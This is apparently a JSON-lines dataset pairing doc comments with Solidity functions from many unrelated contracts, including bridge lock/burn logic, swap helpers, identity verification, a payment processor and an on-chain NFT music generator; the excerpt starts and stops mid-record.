require(foundationAddress != address(0), \"set foundationAddress first\");\r\n\r\n // Actually unpause the contract.\r\n super.unpause();\r\n }", "version": "0.5.11"} {"comment": "// gets current LP exchange rate for all", "function_code": "function getTokensAmountOut(\n uint256 poolAmountIn,\n uint256[] calldata minAmountsOut\n ) public view returns (uint256[] memory actualAmountsOut) {\n BPool bPool = smartPool.bPool();\n address[] memory tokens = bPool.getCurrentTokens();\n\n require(minAmountsOut.length == tokens.length, \"ERR_AMOUNTS_MISMATCH\");\n\n uint256 poolTotal = smartPool.totalSupply();\n\n uint256 ratio = SafeMath.div(\n poolAmountIn.mul(10**18),\n SafeMath.add(poolTotal, 1)\n );\n\n require(ratio != 0, \"ERR_MATH_APPROX\");\n\n actualAmountsOut = new uint256[](tokens.length);\n\n // This loop contains external calls\n // External calls are to math libraries or the underlying pool, so low risk\n for (uint256 i = 0; i < tokens.length; i++) {\n address t = tokens[i];\n uint256 bal = bPool.getBalance(t);\n // Subtract 1 to ensure any rounding errors favor the pool\n uint256 tokenAmountOut = SafeMath\n .mul(ratio, SafeMath.sub(bal, 1))\n .div(10**18);\n\n //apply protocol fee\n tokenAmountOut = tokenAmountOut.mul(protocolFee).div(\n PROTOCOL_FEE_DECIMALS\n );\n\n require(tokenAmountOut != 0, \"ERR_MATH_APPROX\");\n require(tokenAmountOut >= minAmountsOut[i], \"ERR_LIMIT_OUT\");\n\n actualAmountsOut[i] = tokenAmountOut;\n }\n }", "version": "0.7.6"} {"comment": "/// @notice Confirm the next unresolved node", "function_code": "function confirmNextNode(\n bytes32 beforeSendAcc,\n bytes calldata sendsData,\n uint256[] calldata sendLengths,\n uint256 afterSendCount,\n bytes32 afterLogAcc,\n uint256 afterLogCount,\n IOutbox outbox,\n RollupEventBridge rollupEventBridge\n ) internal {\n confirmNode(\n _firstUnresolvedNode,\n beforeSendAcc,\n sendsData,\n sendLengths,\n afterSendCount,\n afterLogAcc,\n afterLogCount,\n outbox,\n rollupEventBridge\n );\n }", "version": "0.6.11"} {"comment": "/**\n * @dev Added nonce and contract address in sig to guard against replay attacks\n */", "function_code": "function checkSig(\n uint256 mintList,\n uint256 numTokens,\n uint256 nonceSeq,\n address user,\n uint256 price,\n bytes memory sig\n ) internal view returns (bool) {\n bytes32 hash = keccak256(\n abi.encodePacked(\n \"\\x19Ethereum Signed Message:\\n32\",\n keccak256(abi.encode(mintList, numTokens, nonceSeq, address(this), user, price))\n )\n );\n return _signerAddress == hash.recover(sig);\n }", "version": "0.8.9"} {"comment": "/**\r\n * @notice Register an identity contract corresponding to a user address.\r\n * Requires that the user doesn't have an identity contract already registered.\r\n * Only agent can call.\r\n *\r\n * @param _user The address of the user\r\n * @param _identity The address of the user's identity contract\r\n * @param _country The country of the investor\r\n */", "function_code": "function registerIdentity(address _user, Identity _identity, uint16 _country) public onlyAgent {\r\n require(address(_identity) != address(0), \"contract address can't be a zero address\");\r\n require(address(identity[_user]) == address(0), \"identity contract already exists, please use update\");\r\n identity[_user] = _identity;\r\n investorCountry[_user] = _country;\r\n\r\n emit IdentityRegistered(_user, _identity);\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @notice This functions checks whether an identity contract\r\n * corresponding to the provided user address has the required claims or not based\r\n * on the security token.\r\n *\r\n * @param _userAddress The address of the user to be verified.\r\n *\r\n * @return 'True' if the address is verified, 'false' if not.\r\n */", "function_code": "function isVerified(address _userAddress) public view returns (bool) {\r\n if (address(identity[_userAddress]) == address(0)){\r\n return false;\r\n }\r\n\r\n uint256[] memory claimTopics = topicsRegistry.getClaimTopics();\r\n uint length = claimTopics.length;\r\n if (length == 0) {\r\n return true;\r\n }\r\n\r\n uint256 foundClaimTopic;\r\n uint256 scheme;\r\n address issuer;\r\n bytes memory sig;\r\n bytes memory data;\r\n uint256 claimTopic;\r\n for (claimTopic = 0; claimTopic < length; claimTopic++) {\r\n bytes32[] memory claimIds = identity[_userAddress].getClaimIdsByTopic(claimTopics[claimTopic]);\r\n if (claimIds.length == 0) {\r\n return false;\r\n }\r\n for (uint j = 0; j < claimIds.length; j++) {\r\n // Fetch claim from user\r\n ( foundClaimTopic, scheme, issuer, sig, data, ) = identity[_userAddress].getClaim(claimIds[j]);\r\n if (!issuersRegistry.isTrustedIssuer(issuer)) {\r\n return false;\r\n }\r\n if (!issuersRegistry.hasClaimTopic(issuer, claimTopics[claimTopic])) {\r\n return false;\r\n }\r\n if (!ClaimIssuer(issuer).isClaimValid(identity[_userAddress], claimIds[j], claimTopics[claimTopic], sig, data)) {\r\n return false;\r\n }\r\n }\r\n }\r\n \r\n return true;\r\n }", "version": "0.5.10"} {"comment": "/// @notice Calculate expected returning amount of `destToken`\n/// @param fromToken (IERC20) Address of token or `address(0)` for Ether\n/// @param destToken (IERC20) Address of token or `address(0)` for Ether\n/// @param amount (uint256) Amount for `fromToken`\n/// @param parts (uint256) Number of pieces source volume could be splitted,\n/// works like granularity, higly affects gas usage. Should be called offchain,\n/// but could be called onchain if user swaps not his own funds, but this is still considered as not safe.\n/// @param flags (uint256) Flags for enabling and disabling some features, default 0", "function_code": "function getExpectedReturn(\r\n IERC20 fromToken,\r\n IERC20 destToken,\r\n uint256 amount,\r\n uint256 parts,\r\n uint256 flags // See contants in IOneSplit.sol\r\n )\r\n public\r\n view\r\n returns(\r\n uint256 returnAmount,\r\n uint256[] memory distribution\r\n )\r\n {\r\n (returnAmount, , distribution) = getExpectedReturnWithGas(\r\n fromToken,\r\n destToken,\r\n amount,\r\n parts,\r\n flags,\r\n 0\r\n );\r\n }", "version": "0.5.17"} {"comment": "/// @notice Swap `amount` of `fromToken` to `destToken`\n/// @param fromToken (IERC20) Address of token or `address(0)` for Ether\n/// @param destToken (IERC20) Address of token or `address(0)` for Ether\n/// @param amount (uint256) Amount for `fromToken`\n/// @param minReturn (uint256) Minimum expected return, else revert\n/// @param distribution (uint256[]) Array of weights for volume distribution returned by `getExpectedReturn`\n/// @param flags (uint256) Flags for enabling and disabling some features, default 0", "function_code": "function swap(\r\n IERC20 fromToken,\r\n IERC20 destToken,\r\n uint256 amount,\r\n uint256 minReturn,\r\n uint256[] memory distribution,\r\n uint256 flags // See contants in IOneSplit.sol\r\n ) public payable returns(uint256 returnAmount) {\r\n return swapWithReferral(\r\n fromToken,\r\n destToken,\r\n amount,\r\n minReturn,\r\n distribution,\r\n flags,\r\n address(0),\r\n 0\r\n );\r\n }", "version": "0.5.17"} {"comment": "/*\n * @dev: Deploys a new BridgeToken contract\n *\n * @param _symbol: The BridgeToken's symbol\n */", "function_code": "function deployNewBridgeToken(string memory _symbol)\n internal\n returns (address)\n {\n bridgeTokenCount = bridgeTokenCount.add(1);\n\n // Deploy new bridge token contract\n BridgeToken newBridgeToken = (new BridgeToken)(_symbol);\n\n // Set address in tokens mapping\n address newBridgeTokenAddress = address(newBridgeToken);\n controlledBridgeTokens[_symbol] = newBridgeTokenAddress;\n lowerToUpperTokens[toLower(_symbol)] = _symbol;\n\n emit LogNewBridgeToken(newBridgeTokenAddress, _symbol);\n return newBridgeTokenAddress;\n }", "version": "0.5.16"} {"comment": "/*\n * @dev: Deploys a new BridgeToken contract\n *\n * @param _symbol: The BridgeToken's symbol\n *\n * @note the Rowan token symbol needs to be \"Rowan\" so that it integrates correctly with the cosmos bridge\n */", "function_code": "function useExistingBridgeToken(address _contractAddress)\n internal\n returns (address)\n {\n bridgeTokenCount = bridgeTokenCount.add(1);\n\n string memory _symbol = BridgeToken(_contractAddress).symbol();\n // Set address in tokens mapping\n address newBridgeTokenAddress = _contractAddress;\n controlledBridgeTokens[_symbol] = newBridgeTokenAddress;\n lowerToUpperTokens[toLower(_symbol)] = _symbol;\n\n emit LogNewBridgeToken(newBridgeTokenAddress, _symbol);\n return newBridgeTokenAddress;\n }", "version": "0.5.16"} {"comment": "/*\n * @dev: Mints new cosmos tokens\n *\n * @param _cosmosSender: The sender's Cosmos address in bytes.\n * @param _ethereumRecipient: The intended recipient's Ethereum address.\n * @param _cosmosTokenAddress: The currency type\n * @param _symbol: comsos token symbol\n * @param _amount: number of comsos tokens to be minted\n */", "function_code": "function mintNewBridgeTokens(\n address payable _intendedRecipient,\n address _bridgeTokenAddress,\n string memory _symbol,\n uint256 _amount\n ) internal {\n require(\n controlledBridgeTokens[_symbol] == _bridgeTokenAddress,\n \"Token must be a controlled bridge token\"\n );\n\n // Mint bridge tokens\n require(\n BridgeToken(_bridgeTokenAddress).mint(_intendedRecipient, _amount),\n \"Attempted mint of bridge tokens failed\"\n );\n\n emit LogBridgeTokenMint(\n _bridgeTokenAddress,\n _symbol,\n _amount,\n _intendedRecipient\n );\n }", "version": "0.5.16"} {"comment": "// INTEGRALS", "function_code": "function integral(int256 q) private view returns (int256) {\n // we are integrating over a curve that represents the order book\n if (q > 0) {\n // integrate over bid orders, our trade can be a bid or an ask\n return integralBid(q);\n } else if (q < 0) {\n // integrate over ask orders, our trade can be a bid or an ask\n return integralAsk(q);\n } else {\n return 0;\n }\n }", "version": "0.7.5"} {"comment": "// SPOT PRICE", "function_code": "function getSpotPrice(uint256 xCurrent, uint256 xBefore) public view override returns (uint256 spotPrice) {\n int256 xCurrentInt = normalizeAmount(xDecimals, xCurrent);\n int256 xBeforeInt = normalizeAmount(xDecimals, xBefore);\n int256 spotPriceInt = derivative(xCurrentInt.sub(xBeforeInt));\n require(spotPriceInt >= 0, 'IO_NEGATIVE_SPOT_PRICE');\n return uint256(spotPriceInt);\n }", "version": "0.7.5"} {"comment": "// DERIVATIVES", "function_code": "function derivative(int256 t) public view returns (int256) {\n if (t > 0) {\n return derivativeBid(t);\n } else if (t < 0) {\n return derivativeAsk(t);\n } else {\n return price;\n }\n }", "version": "0.7.5"} {"comment": "/*** GETTERS ***/", "function_code": "function get_available_S_balances() public view returns(uint256, uint256) {\r\n uint256 epoch = get_current_epoch();\r\n uint256 AA_A_utilized = tranche_S_virtual_utilized[epoch][uint256(Tranche.A)].add(tranche_S_virtual_utilized[epoch][uint256(Tranche.AA)]);\r\n uint256 AA_A_unutilized = tranche_S_virtual_unutilized[epoch][uint256(Tranche.A)].add(tranche_S_virtual_unutilized[epoch][uint256(Tranche.AA)]);\r\n uint256 S_utilized = tranche_total_utilized[epoch][uint256(Tranche.S)];\r\n uint256 S_unutilized = tranche_total_unutilized[epoch][uint256(Tranche.S)];\r\n return ((S_utilized > AA_A_utilized ? S_utilized - AA_A_utilized : 0), (S_unutilized > AA_A_unutilized ? S_unutilized - AA_A_unutilized : 0));\r\n }", "version": "0.7.4"} {"comment": "/**\r\n Refund investment, token will remain to the investor\r\n **/", "function_code": "function refund()\r\n only_sale_refundable {\r\n address investor = msg.sender;\r\n if(balances[investor] == 0) throw; // nothing to refund\r\n uint amount = balances[investor];\r\n // remove balance\r\n delete balances[investor];\r\n // send back eth\r\n if(!investor.send(amount)) throw;\r\n\r\n Refunded(investor, amount);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev This is from Timelock contract.\r\n */", "function_code": "function executeTransaction(\r\n address target,\r\n uint256 value,\r\n string memory signature,\r\n bytes memory data\r\n ) public returns (bytes memory) {\r\n require(msg.sender == timelock, \"!timelock\");\r\n\r\n bytes memory callData;\r\n\r\n if (bytes(signature).length == 0) {\r\n callData = data;\r\n } else {\r\n callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);\r\n }\r\n\r\n // solium-disable-next-line security/no-call-value\r\n (bool success, bytes memory returnData) = target.call{value: value}(callData);\r\n require(success, string(abi.encodePacked(getName(), \"::executeTransaction: Transaction execution reverted.\")));\r\n\r\n emit ExecuteTransaction(target, value, signature, data);\r\n\r\n return returnData;\r\n }", "version": "0.6.12"} {"comment": "/*\n * @dev: Initializer, sets operator\n */", "function_code": "function initialize(\n address _operatorAddress,\n address _cosmosBridgeAddress,\n address _owner,\n address _pauser\n ) public {\n require(!_initialized, \"Init\");\n\n EthereumWhiteList.initialize();\n CosmosWhiteList.initialize();\n Pausable.initialize(_pauser);\n\n operator = _operatorAddress;\n cosmosBridge = _cosmosBridgeAddress;\n owner = _owner;\n _initialized = true;\n\n // hardcode since this is the first token\n lowerToUpperTokens[\"erowan\"] = \"erowan\";\n lowerToUpperTokens[\"eth\"] = \"eth\";\n }", "version": "0.5.16"} {"comment": "/*\n * @dev: function to validate if a sif address has a correct prefix\n */", "function_code": "function verifySifPrefix(bytes memory _sifAddress) public pure returns (bool) {\n bytes3 sifInHex = 0x736966;\n\n for (uint256 i = 0; i < sifInHex.length; i++) {\n if (sifInHex[i] != _sifAddress[i]) {\n return false;\n }\n }\n return true;\n }", "version": "0.5.16"} {"comment": "/*\n * @dev: Set the token address in whitelist\n *\n * @param _token: ERC 20's address\n * @param _inList: set the _token in list or not\n * @return: new value of if _token in whitelist\n */", "function_code": "function updateEthWhiteList(address _token, bool _inList)\n public\n onlyOperator\n returns (bool)\n {\n string memory symbol = BridgeToken(_token).symbol();\n address listAddress = lockedTokenList[symbol];\n \n // Do not allow a token with the same symbol to be whitelisted\n if (_inList) {\n // if we want to add it to the whitelist, make sure that the address\n // is 0, meaning we have not seen that symbol in the whitelist before\n require(listAddress == address(0), \"whitelisted\");\n } else {\n // if we want to de-whitelist it, make sure that the symbol is \n // in fact stored in our locked token list before we set to false\n require(uint256(listAddress) > 0, \"!whitelisted\");\n }\n lowerToUpperTokens[toLower(symbol)] = symbol;\n return setTokenInEthWhiteList(_token, _inList);\n }", "version": "0.5.16"} {"comment": "/*\n * @dev: Burns BridgeTokens representing native Cosmos assets.\n *\n * @param _recipient: bytes representation of destination address.\n * @param _token: token address in origin chain (0x0 if ethereum)\n * @param _amount: value of deposit\n */", "function_code": "function burn(\n bytes memory _recipient,\n address _token,\n uint256 _amount\n ) public validSifAddress(_recipient) onlyCosmosTokenWhiteList(_token) whenNotPaused {\n string memory symbol = BridgeToken(_token).symbol();\n\n if (_amount > maxTokenAmount[symbol]) {\n revert(\"Amount being transferred is over the limit for this token\");\n }\n\n BridgeToken(_token).burnFrom(msg.sender, _amount);\n burnFunds(msg.sender, _recipient, _token, symbol, _amount);\n }", "version": "0.5.16"} {"comment": "/*\n * @dev: Locks received Ethereum/ERC20 funds.\n *\n * @param _recipient: bytes representation of destination address.\n * @param _token: token address in origin chain (0x0 if ethereum)\n * @param _amount: value of deposit\n */", "function_code": "function lock(\n bytes memory _recipient,\n address _token,\n uint256 _amount\n ) public payable onlyEthTokenWhiteList(_token) validSifAddress(_recipient) whenNotPaused {\n string memory symbol;\n\n // Ethereum deposit\n if (msg.value > 0) {\n require(\n _token == address(0),\n \"!address(0)\"\n );\n require(\n msg.value == _amount,\n \"incorrect eth amount\"\n );\n symbol = \"eth\";\n // ERC20 deposit\n } else {\n IERC20 tokenToTransfer = IERC20(_token);\n tokenToTransfer.safeTransferFrom(\n msg.sender,\n address(this),\n _amount\n );\n symbol = BridgeToken(_token).symbol();\n }\n\n if (_amount > maxTokenAmount[symbol]) {\n revert(\"Amount being transferred is over the limit\");\n }\n lockFunds(msg.sender, _recipient, _token, symbol, _amount);\n }", "version": "0.5.16"} {"comment": "/*\n * @dev: Unlocks Ethereum and ERC20 tokens held on the contract.\n *\n * @param _recipient: recipient's Ethereum address\n * @param _token: token contract address\n * @param _symbol: token symbol\n * @param _amount: wei amount or ERC20 token count\n */", "function_code": "function unlock(\n address payable _recipient,\n string memory _symbol,\n uint256 _amount\n ) public onlyCosmosBridge whenNotPaused {\n // Confirm that the bank has sufficient locked balances of this token type\n require(\n getLockedFunds(_symbol) >= _amount,\n \"!Bank funds\"\n );\n\n // Confirm that the bank holds sufficient balances to complete the unlock\n address tokenAddress = lockedTokenList[_symbol];\n if (tokenAddress == address(0)) {\n require(\n ((address(this)).balance) >= _amount,\n \"Insufficient ethereum balance for delivery.\"\n );\n } else {\n require(\n BridgeToken(tokenAddress).balanceOf(address(this)) >= _amount,\n \"Insufficient ERC20 token balance for delivery.\"\n );\n }\n unlockFunds(_recipient, tokenAddress, _symbol, _amount);\n }", "version": "0.5.16"} {"comment": "/*\n * @dev: Initialize Function\n */", "function_code": "function _initialize(\n address _operator,\n uint256 _consensusThreshold,\n address[] memory _initValidators,\n uint256[] memory _initPowers\n ) internal {\n require(!_initialized, \"Initialized\");\n require(\n _consensusThreshold > 0,\n \"Consensus threshold must be positive.\"\n );\n require(\n _consensusThreshold <= 100,\n \"Invalid consensus threshold.\"\n );\n operator = _operator;\n consensusThreshold = _consensusThreshold;\n _initialized = true;\n\n Valset._initialize(_operator, _initValidators, _initPowers);\n }", "version": "0.5.16"} {"comment": "/*\n * @dev: newOracleClaim\n * Allows validators to make new OracleClaims on an existing Prophecy\n */", "function_code": "function newOracleClaim(\n uint256 _prophecyID,\n address validatorAddress\n ) internal\n returns (bool)\n {\n // Confirm that this address has not already made an oracle claim on this prophecy\n require(\n !hasMadeClaim[_prophecyID][validatorAddress],\n \"Cannot make duplicate oracle claims from the same address.\"\n );\n\n hasMadeClaim[_prophecyID][validatorAddress] = true;\n // oracleClaimValidators[_prophecyID].push(validatorAddress);\n oracleClaimValidators[_prophecyID] = oracleClaimValidators[_prophecyID].add(\n this.getValidatorPower(validatorAddress)\n );\n emit LogNewOracleClaim(\n _prophecyID,\n validatorAddress\n );\n\n // Process the prophecy\n (bool valid, , ) = getProphecyThreshold(_prophecyID);\n\n return valid;\n }", "version": "0.5.16"} {"comment": "/*\n * @dev: processProphecy\n * Calculates the status of a prophecy. The claim is considered valid if the\n * combined active signatory validator powers pass the consensus threshold.\n * The threshold is x% of Total power, where x is the consensusThreshold param.\n */", "function_code": "function getProphecyThreshold(uint256 _prophecyID)\n public\n view\n returns (bool, uint256, uint256)\n {\n uint256 signedPower = 0;\n uint256 totalPower = totalPower;\n\n signedPower = oracleClaimValidators[_prophecyID];\n\n // Prophecy must reach total signed power % threshold in order to pass consensus\n uint256 prophecyPowerThreshold = totalPower.mul(consensusThreshold);\n // consensusThreshold is a decimal multiplied by 100, so signedPower must also be multiplied by 100\n uint256 prophecyPowerCurrent = signedPower.mul(100);\n bool hasReachedThreshold = prophecyPowerCurrent >=\n prophecyPowerThreshold;\n\n return (\n hasReachedThreshold,\n prophecyPowerCurrent,\n prophecyPowerThreshold\n );\n }", "version": "0.5.16"} {"comment": "/*\r\n * -- APPLICATION ENTRY POINTS -- \r\n */", "function_code": "function CarlosMatos()\r\n public\r\n {\r\n // add administrators here\r\n administrators[0x235910f4682cfe7250004430a4ffb5ac78f5217e1f6a4bf99c937edf757c3330] = true;\r\n \r\n // add the ambassadors here.\r\n // One lonely developer \r\n ambassadors_[0x6405C296d5728de46517609B78DA3713097163dB] = true;\r\n \r\n // Backup Eth address\r\n \r\n ambassadors_[0x15Fda64fCdbcA27a60Aa8c6ca882Aa3e1DE4Ea41] = true;\r\n \r\n ambassadors_[0x448D9Ae89DF160392Dd0DD5dda66952999390D50] = true;\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * Assigns the acceptor to the order (when client initiates order).\r\n * @param _orderId Identifier of the order\r\n * @param _price Price of the order \r\n * @param _paymentAcceptor order payment acceptor\r\n * @param _originAddress buyer address\r\n * @param _fee Monetha fee\r\n */", "function_code": "function addOrder(\r\n uint _orderId,\r\n uint _price,\r\n address _paymentAcceptor,\r\n address _originAddress,\r\n uint _fee,\r\n address _tokenAddress\r\n ) external onlyMonetha whenNotPaused atState(_orderId, State.Null)\r\n {\r\n require(_orderId > 0);\r\n require(_price > 0);\r\n require(_fee >= 0 && _fee <= FEE_PERMILLE.mul(_price).div(1000)); // Monetha fee cannot be greater than 1.5% of price\r\n\r\n orders[_orderId] = Order({\r\n state: State.Created,\r\n price: _price,\r\n fee: _fee,\r\n paymentAcceptor: _paymentAcceptor,\r\n originAddress: _originAddress,\r\n tokenAddress: _tokenAddress\r\n });\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * cancelOrder is used when client doesn't pay and order need to be cancelled.\r\n * @param _orderId Identifier of the order\r\n * @param _clientReputation Updated reputation of the client\r\n * @param _merchantReputation Updated reputation of the merchant\r\n * @param _dealHash Hashcode of the deal, describing the order (used for deal verification)\r\n * @param _cancelReason Order cancel reason\r\n */", "function_code": "function cancelOrder(\r\n uint _orderId,\r\n uint32 _clientReputation,\r\n uint32 _merchantReputation,\r\n uint _dealHash,\r\n string _cancelReason\r\n )\r\n external onlyMonetha whenNotPaused\r\n atState(_orderId, State.Created) transition(_orderId, State.Cancelled)\r\n {\r\n require(bytes(_cancelReason).length > 0);\r\n\r\n Order storage order = orders[_orderId];\r\n\r\n updateDealConditions(\r\n _orderId,\r\n _clientReputation,\r\n _merchantReputation,\r\n false,\r\n _dealHash\r\n );\r\n\r\n merchantHistory.recordDealCancelReason(\r\n _orderId,\r\n order.originAddress,\r\n _clientReputation,\r\n _merchantReputation,\r\n _dealHash,\r\n _cancelReason\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * refundPayment used in case order cannot be processed.\r\n * This function initiate process of funds refunding to the client.\r\n * @param _orderId Identifier of the order\r\n * @param _clientReputation Updated reputation of the client\r\n * @param _merchantReputation Updated reputation of the merchant\r\n * @param _dealHash Hashcode of the deal, describing the order (used for deal verification)\r\n * @param _refundReason Order refund reason, order will be moved to State Cancelled after Client withdraws money\r\n */", "function_code": "function refundPayment(\r\n uint _orderId,\r\n uint32 _clientReputation,\r\n uint32 _merchantReputation,\r\n uint _dealHash,\r\n string _refundReason\r\n ) \r\n external onlyMonetha whenNotPaused\r\n atState(_orderId, State.Paid) transition(_orderId, State.Refunding)\r\n {\r\n require(bytes(_refundReason).length > 0);\r\n\r\n Order storage order = orders[_orderId];\r\n\r\n updateDealConditions(\r\n _orderId,\r\n _clientReputation,\r\n _merchantReputation,\r\n false,\r\n _dealHash\r\n );\r\n\r\n merchantHistory.recordDealRefundReason(\r\n _orderId,\r\n order.originAddress,\r\n _clientReputation,\r\n _merchantReputation,\r\n _dealHash,\r\n _refundReason\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * processPayment transfer funds/tokens to MonethaGateway and completes the order.\r\n * @param _orderId Identifier of the order\r\n * @param _clientReputation Updated reputation of the client\r\n * @param _merchantReputation Updated reputation of the merchant\r\n * @param _dealHash Hashcode of the deal, describing the order (used for deal verification)\r\n */", "function_code": "function processPayment(\r\n uint _orderId,\r\n uint32 _clientReputation,\r\n uint32 _merchantReputation,\r\n uint _dealHash\r\n )\r\n external onlyMonetha whenNotPaused\r\n atState(_orderId, State.Paid) transition(_orderId, State.Finalized)\r\n {\r\n address fundAddress;\r\n fundAddress = merchantWallet.merchantFundAddress();\r\n\r\n if (orders[_orderId].tokenAddress != address(0)) {\r\n if (fundAddress != address(0)) {\r\n ERC20(orders[_orderId].tokenAddress).transfer(address(monethaGateway), orders[_orderId].price);\r\n monethaGateway.acceptTokenPayment(fundAddress, orders[_orderId].fee, orders[_orderId].tokenAddress, orders[_orderId].price);\r\n } else {\r\n ERC20(orders[_orderId].tokenAddress).transfer(address(monethaGateway), orders[_orderId].price);\r\n monethaGateway.acceptTokenPayment(merchantWallet, orders[_orderId].fee, orders[_orderId].tokenAddress, orders[_orderId].price);\r\n }\r\n } else {\r\n if (fundAddress != address(0)) {\r\n monethaGateway.acceptPayment.value(orders[_orderId].price)(fundAddress, orders[_orderId].fee);\r\n } else {\r\n monethaGateway.acceptPayment.value(orders[_orderId].price)(merchantWallet, orders[_orderId].fee);\r\n }\r\n }\r\n \r\n updateDealConditions(\r\n _orderId,\r\n _clientReputation,\r\n _merchantReputation,\r\n true,\r\n _dealHash\r\n );\r\n }", "version": "0.4.24"} {"comment": "// ------------------------- public/external functions with no access restrictions ------------------------- //", "function_code": "function mintToken()\r\n public\r\n payable\r\n returns ( uint256 _tokenId )\r\n {\r\n require( _tokenIdCounter.current() < MAX_NUMBER_TOKENS, \"All tokens created\" );\r\n require( msg.value >= mintPrice, \"The value sent must be at least the mint price\" );\r\n\r\n uint256 tokenId = _tokenIdCounter.current();\r\n _tokenIdCounter.increment();\r\n\r\n _safeMint( msg.sender, tokenId );\r\n\r\n tokenData[tokenId].params = uint64( bytes8( keccak256( abi.encodePacked( block.timestamp, msg.sender, tokenId.toString() ) ) ) );\r\n\r\n tokenData[tokenId].lastTransfer = block.timestamp;\r\n\r\n // increase price for tokens 128 - 255\r\n if( tokenId == 127 ) {\r\n mintPrice = .00512e18;\r\n }\r\n\r\n return tokenId;\r\n }", "version": "0.8.7"} {"comment": "// convert a 5 bit number (0-31) stored in user data\n// to the 8 bit number (0-240) used as the prg's initial filter value", "function_code": "function filterValue( uint8 v )\r\n internal\r\n pure\r\n returns ( uint8 )\r\n {\r\n if( v == 0 ) {\r\n // zero means use the filter default value\r\n return FILTER_DEFAULT_VALUE;\r\n } else {\r\n return (v - 1) * 8;\r\n }\r\n }", "version": "0.8.7"} {"comment": "// return the 8 parameters for the token as uint8s", "function_code": "function getTokenParams( uint256 tokenId )\r\n public\r\n view\r\n returns ( uint8 p0, uint8 p1, uint8 p2, uint8 p3, uint8 p4, uint8 p5, uint8 p6, uint8 p7 )\r\n {\r\n require( tokenId < _tokenIdCounter.current(), \"Invalid token id\" );\r\n\r\n uint params = tokenData[tokenId].params;\r\n\r\n p0 = uint8( params & 255 );\r\n p1 = uint8( (params >> 8) & 255 );\r\n p2 = uint8( (params >> 16) & 255 );\r\n p3 = uint8( (params >> 24) & 255 );\r\n p4 = uint8( (params >> 32) & 255 );\r\n p5 = uint8( (params >> 40) & 255 );\r\n p6 = uint8( (params >> 48) & 255 );\r\n p7 = uint8( (params >> 56) & 255 );\r\n\r\n }", "version": "0.8.7"} {"comment": "// return the state of the 4 unlocks for the token, 1 = unlocked", "function_code": "function getTokenUnlocks( uint256 tokenId )\r\n external\r\n view\r\n returns ( uint8 u0, uint8 u1, uint8 u2, uint8 u3 )\r\n {\r\n require( tokenId < _tokenIdCounter.current(), \"Invalid token id\" );\r\n\r\n u0 = tokenData[tokenId].unlocked[0];\r\n u1 = tokenData[tokenId].unlocked[1];\r\n u2 = tokenData[tokenId].unlocked[2];\r\n u3 = tokenData[tokenId].unlocked[3];\r\n }", "version": "0.8.7"} {"comment": "// return an owner set custom byte for the token\n// byteIndex is 0 - 7 (8 custom bytes per token)\n// if a byte is not set, its position will be 0", "function_code": "function getTokenCustomByte( uint256 tokenId, uint256 byteIndex )\r\n external\r\n view\r\n returns ( uint16 position, uint8 value )\r\n {\r\n require( tokenId < _tokenIdCounter.current(), \"Invalid token id\" );\r\n require( byteIndex < CUSTOM_BYTE_COUNT, \"Invalid byte index\" );\r\n\r\n position = tokenData[tokenId].customBytePosition[byteIndex];\r\n value = tokenData[tokenId].customByteValue[byteIndex];\r\n }", "version": "0.8.7"} {"comment": "// return all the custom bytes for a token in an array", "function_code": "function getTokenCustomBytes( uint256 tokenId )\r\n external\r\n view\r\n returns ( uint16[CUSTOM_BYTE_COUNT] memory position, uint8[CUSTOM_BYTE_COUNT] memory value )\r\n {\r\n require( tokenId < _tokenIdCounter.current(), \"Invalid token id\" );\r\n\r\n position = tokenData[tokenId].customBytePosition;\r\n value = tokenData[tokenId].customByteValue;\r\n }", "version": "0.8.7"} {"comment": "// ------------------------- token owner functions ------------------------- //\n// check if the sender address can set a byte for the token\n// the token owner can set up to 8 bytes for a token (byteIndex can be 0-7)\n// each byteIndex can be set if the token has been held for byteIndex x 64 days", "function_code": "function checkCanSetByte( address sender, uint tokenId, uint byteIndex, uint16 bytePosition )\r\n public\r\n view\r\n {\r\n require( tokenId < _tokenIdCounter.current(), \"Invalid token id\" );\r\n require( ERC721.ownerOf(tokenId) == sender, \"Only owner can set bytes\" );\r\n\r\n require( byteIndex < CUSTOM_BYTE_COUNT, \"Invalid byte index\" );\r\n require( bytePosition < basePRGData.length, \"Invalid position\" );\r\n require( bytePosition < PARAM_START_POSITION || bytePosition >= PARAM_START_POSITION + 12, \"Can't set param bytes\" );\r\n require( bytePosition < SETTINGS_POSITION || bytePosition >= SETTINGS_POSITION + 8, \"Can't set settings bytes\" );\r\n\r\n uint timeRequirement = ( byteIndex + 1 ) * 64 * DAY_SECONDS;\r\n string memory message = string( abi.encodePacked( \"Since last transfer needs to be greater than \", timeRequirement.toString() ) );\r\n\r\n if ( bytePosition != 0 ) {\r\n require( ( block.timestamp - tokenData[tokenId].lastTransfer) >= timeRequirement, message );\r\n }\r\n\r\n require( bytePosition == 0 || bytePosition == tokenData[tokenId].customBytePosition[byteIndex] || positionUsed[byteIndex][bytePosition] == 0, \"Position already used\" );\r\n\r\n }", "version": "0.8.7"} {"comment": "// set a byte", "function_code": "function setByte( uint tokenId, uint byteIndex, uint16 bytePosition, uint8 byteValue )\r\n public\r\n {\r\n checkCanSetByte( msg.sender, tokenId, byteIndex, bytePosition );\r\n\r\n // if the new position is different to the previous position for the byte index\r\n // mark the previous position as unused and the new position as used\r\n if( tokenData[tokenId].customBytePosition[byteIndex] != bytePosition ) {\r\n positionUsed[byteIndex][tokenData[tokenId].customBytePosition[byteIndex]] = 0;\r\n positionUsed[byteIndex][bytePosition] = 1;\r\n }\r\n\r\n // save the values\r\n tokenData[tokenId].customBytePosition[byteIndex] = bytePosition;\r\n tokenData[tokenId].customByteValue[byteIndex] = byteValue;\r\n\r\n // emit the event\r\n emit ByteSet( tokenId, byteIndex, bytePosition, byteValue );\r\n\r\n }", "version": "0.8.7"} {"comment": "// set all the bytes with one call", "function_code": "function setBytes( uint tokenId, uint16[CUSTOM_BYTE_COUNT] memory bytePositions, uint8[CUSTOM_BYTE_COUNT] memory byteValues )\r\n public\r\n {\r\n // fail if one of the bytes can't be set\r\n for( uint i = 0; i < CUSTOM_BYTE_COUNT; i++ ) {\r\n checkCanSetByte( msg.sender, tokenId, i, 